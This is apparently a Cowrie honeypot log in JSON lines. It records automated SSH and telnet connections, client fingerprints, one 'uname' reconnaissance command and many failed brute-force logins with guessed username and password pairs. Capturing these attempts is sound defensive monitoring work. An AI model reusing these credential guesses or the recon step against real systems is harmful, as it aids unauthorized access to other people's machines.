{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:24.823777Z","src_ip":"141.11.88.14","session":"f2505eac5e78","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:24.827544Z","src_ip":"141.11.88.14","session":"f2505eac5e78","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:24.917301Z","src_ip":"141.11.88.14","session":"f2505eac5e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:24.922135Z","src_ip":"141.11.88.14","session":"f2505eac5e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60632,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffdf22f084b1","protocol":"ssh","message":"New connection: 141.11.88.14:60632 (10.17.0.5:22) [session: ffdf22f084b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:30.314820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:30.506169Z","src_ip":"141.11.88.14","session":"ffdf22f084b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:30.510532Z","src_ip":"141.11.88.14","session":"ffdf22f084b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"administrador","message":"login attempt [administrador/administrador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:32.189975Z","src_ip":"141.11.88.14","session":"ffdf22f084b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:33.297775Z","src_ip":"141.11.88.14","session":"ffdf22f084b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.12724590301514,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:33.694687Z","src_ip":"172.81.62.90","session":"fb9cccd901b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":35464,"dst_ip":"10.17.0.5","dst_port":22,"session":"19b8fc4a4a2f","protocol":"ssh","message":"New connection: 103.27.238.116:35464 (10.17.0.5:22) [session: 19b8fc4a4a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:34.757584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:34.765692Z","src_ip":"103.27.238.116","session":"19b8fc4a4a2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:35.026433Z","src_ip":"103.27.238.116","session":"19b8fc4a4a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"89200737307","message":"login attempt [root/89200737307] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:35.806422Z","src_ip":"103.27.238.116","session":"19b8fc4a4a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60678,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce02f46b4fab","protocol":"ssh","message":"New connection: 141.11.88.14:60678 (10.17.0.5:22) [session: ce02f46b4fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:36.376389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:36.552547Z","src_ip":"141.11.88.14","session":"ce02f46b4fab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:36.555994Z","src_ip":"141.11.88.14","session":"ce02f46b4fab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:37.067563Z","src_ip":"103.27.238.116","session":"19b8fc4a4a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:37.238315Z","src_ip":"141.11.88.14","session":"ce02f46b4fab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:38.362243Z","src_ip":"141.11.88.14","session":"ce02f46b4fab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17638,"dst_ip":"10.17.0.5","dst_port":22,"session":"723f2593d004","protocol":"ssh","message":"New connection: 141.11.88.14:17638 (10.17.0.5:22) [session: 723f2593d004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:43.493653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:43.529379Z","src_ip":"141.11.88.14","session":"723f2593d004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:43.632634Z","src_ip":"141.11.88.14","session":"723f2593d004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avax","password":"avax","message":"login attempt [avax/avax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:44.081675Z","src_ip":"141.11.88.14","session":"723f2593d004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:45.250403Z","src_ip":"141.11.88.14","session":"723f2593d004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47398,"dst_ip":"10.17.0.5","dst_port":22,"session":"997ebae53591","protocol":"ssh","message":"New connection: 141.11.88.14:47398 (10.17.0.5:22) [session: 997ebae53591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:51.302627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:51.555738Z","src_ip":"141.11.88.14","session":"997ebae53591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:51.559098Z","src_ip":"141.11.88.14","session":"997ebae53591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrea","password":"andrea","message":"login attempt [andrea/andrea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:52.178084Z","src_ip":"141.11.88.14","session":"997ebae53591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":33812,"dst_ip":"10.17.0.5","dst_port":22,"session":"49dfceb8c755","protocol":"ssh","message":"New connection: 41.86.34.139:33812 (10.17.0.5:22) [session: 49dfceb8c755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:52.225752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:52.230215Z","src_ip":"41.86.34.139","session":"49dfceb8c755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:52.440518Z","src_ip":"41.86.34.139","session":"49dfceb8c755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1230.","message":"login attempt [root/qwe1230.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:53.307065Z","src_ip":"41.86.34.139","session":"49dfceb8c755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:53.311806Z","src_ip":"141.11.88.14","session":"997ebae53591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":60340,"dst_ip":"159.203.135.109","dst_port":22,"session":"939ce7b8046e","protocol":"ssh","message":"New connection: 160.191.244.158:60340 (159.203.135.109:22) [session: 939ce7b8046e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:54.216018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:54.220902Z","src_ip":"160.191.244.158","session":"939ce7b8046e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:54.459707Z","src_ip":"160.191.244.158","session":"939ce7b8046e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:54.517832Z","src_ip":"41.86.34.139","session":"49dfceb8c755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flow","password":"flow","message":"login attempt [flow/flow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:55.449092Z","src_ip":"160.191.244.158","session":"939ce7b8046e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:56.690397Z","src_ip":"160.191.244.158","session":"939ce7b8046e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27142,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb90fdb1b5b","protocol":"ssh","message":"New connection: 141.11.88.14:27142 (10.17.0.5:22) [session: 4eb90fdb1b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:59.125715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:59.161056Z","src_ip":"141.11.88.14","session":"4eb90fdb1b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:59.324098Z","src_ip":"141.11.88.14","session":"4eb90fdb1b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mostafa","password":"mostafa","message":"login attempt [mostafa/mostafa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:59.747419Z","src_ip":"141.11.88.14","session":"4eb90fdb1b5b","protocol":"ssh"}
